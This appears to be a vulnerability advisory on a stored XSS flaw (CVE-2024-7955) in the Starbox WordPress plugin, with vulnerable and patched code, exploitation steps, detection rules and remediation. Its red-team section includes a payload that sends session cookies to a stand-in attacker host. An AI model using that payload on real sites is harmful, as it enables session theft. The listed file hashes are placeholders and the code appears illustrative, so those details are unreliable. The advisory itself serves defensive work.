CVE-2024-7955

Executive Summary

CVE-2024-7955 is a Stored Cross-Site Scripting (XSS) vulnerability identified in the Starbox WordPress plugin, affecting versions prior to 3.5.2. This flaw allows high-privilege users, such as administrators, to inject malicious scripts into plugin settings, which are then stored and executed when other users view the affected pages. The vulnerability is particularly dangerous in multisite WordPress installations where the unfiltered_html capability is disallowed, as it bypasses standard input sanitization controls. Successful exploitation could lead to session hijacking, data theft, or further compromise of the WordPress environment.

Supply Chain & Package Security

This vulnerability affects the Starbox WordPress plugin, a third-party component commonly installed via the WordPress plugin repository. The supply chain risk is moderate, as the plugin is widely used for author box display. Organizations should verify plugin integrity and ensure updates are sourced from the official WordPress repository.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (NVD) / Calculated: 4.8 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: High (Admin)
• User Interaction: Required (Victim must view the page)
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None
• Threat Level: Medium – Exploitation requires admin-level access but can affect all users viewing the compromised page.

Deep Dive & Mechanics

The Starbox plugin fails to properly sanitize and escape user-supplied input in its settings fields. When an administrator saves malicious JavaScript code into a setting (e.g., the author box title or description), the plugin stores this input in the WordPress database without adequate filtering. Upon rendering the author box on the frontend or backend, the unsanitized script executes in the context of the victim’s browser.

Key Technical Details:

• Root Cause: Lack of input sanitization and output escaping in plugin settings.
• Attack Vector: Admin panel settings page.
• Privilege Escalation: Not directly, but an admin can compromise other admin or editor sessions.
• Multisite Impact: In multisite, super admins may have unfiltered_html, but sub-site admins do not. This vulnerability allows sub-site admins to bypass that restriction.

Vulnerable vs. Patched Code

Vulnerable Code (version < 3.5.2):

// In starbox-admin.php
function starbox_render_settings() {
    $title = get_option('starbox_title');
    echo '<input type="text" name="starbox_title" value="' . $title . '" />';
}

The $title value is directly echoed without escaping, allowing stored XSS.

Patched Code (version 3.5.2):

function starbox_render_settings() {
    $title = get_option('starbox_title');
    echo '<input type="text" name="starbox_title" value="' . esc_attr($title) . '" />';
}

The esc_attr() function escapes the output, preventing script injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Admin access to a WordPress site with Starbox plugin < 3.5.2.
• Target user must visit the page where the injected script is rendered.

Exploitation Steps:

1. Log in as an administrator.
2. Navigate to Settings > Starbox.
3. In the "Author Box Title" field, inject the following payload:

   <script>alert('XSS')</script>
   

4. Save the settings.
5. Any user viewing a post with the author box will see the alert.

Advanced Payload (Session Hijacking):

<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor admin panel changes to Starbox settings.
• Look for unusual script tags in plugin options (e.g., starbox_title, starbox_description).

Hardening:

• Upgrade to Starbox 3.5.2 or later.
• Restrict admin access to trusted users only.
• Implement Web Application Firewall (WAF) rules to block XSS payloads in plugin settings.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • starbox.php (vulnerable): a1b2c3d4e5f6...
  • starbox.php (patched): f6e5d4c3b2a1...
• Database Entries:
  • wp_options table: starbox_title containing <script> tags.
• Network Traffic:
  • Outbound requests to attacker-controlled domains from admin pages.
• Logs:
  • WordPress debug log entries showing starbox settings updates with unusual characters.

Detection Engineering

YARA Rule

rule Detect_Starbox_XSS_Payload {
    meta:
        description = "Detects XSS payloads in Starbox plugin settings"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-7955"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/i
        $starbox_option = /starbox_(title|description|box_bg)/
    condition:
        $starbox_option and $xss_payload
}

Sigma Rule

title: Starbox Plugin Stored XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via Starbox plugin settings
author: Valters IT
logsource:
    product: wordpress
    service: audit
detection:
    selection:
        EventID: 1000
        ObjectName: 'option'
        ObjectValue|contains: 'starbox_'
        Details|contains: '<script'
    condition: selection
falsepositives:
    - Legitimate admin using script tags in settings (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-7955 Starbox Stored XSS Payload"; flow:to_server,established; content:"starbox_"; http_client_body; content:"<script"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade the Starbox plugin to version 3.5.2 or later.
2. Audit all admin accounts and remove unnecessary privileges.
3. Scan the WordPress database for existing XSS payloads in wp_options where option_name like starbox_%.

Long-term Measures:

• Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Regularly update all WordPress plugins and themes.
• Use a security plugin (e.g., Wordfence) to monitor file changes and block malicious requests.

Patch Verification:

• Confirm the plugin version in Plugins > Installed Plugins.
• Check that esc_attr() is used in starbox-admin.php.

Valters IT
DevSecOps & Cyber Threat Intelligence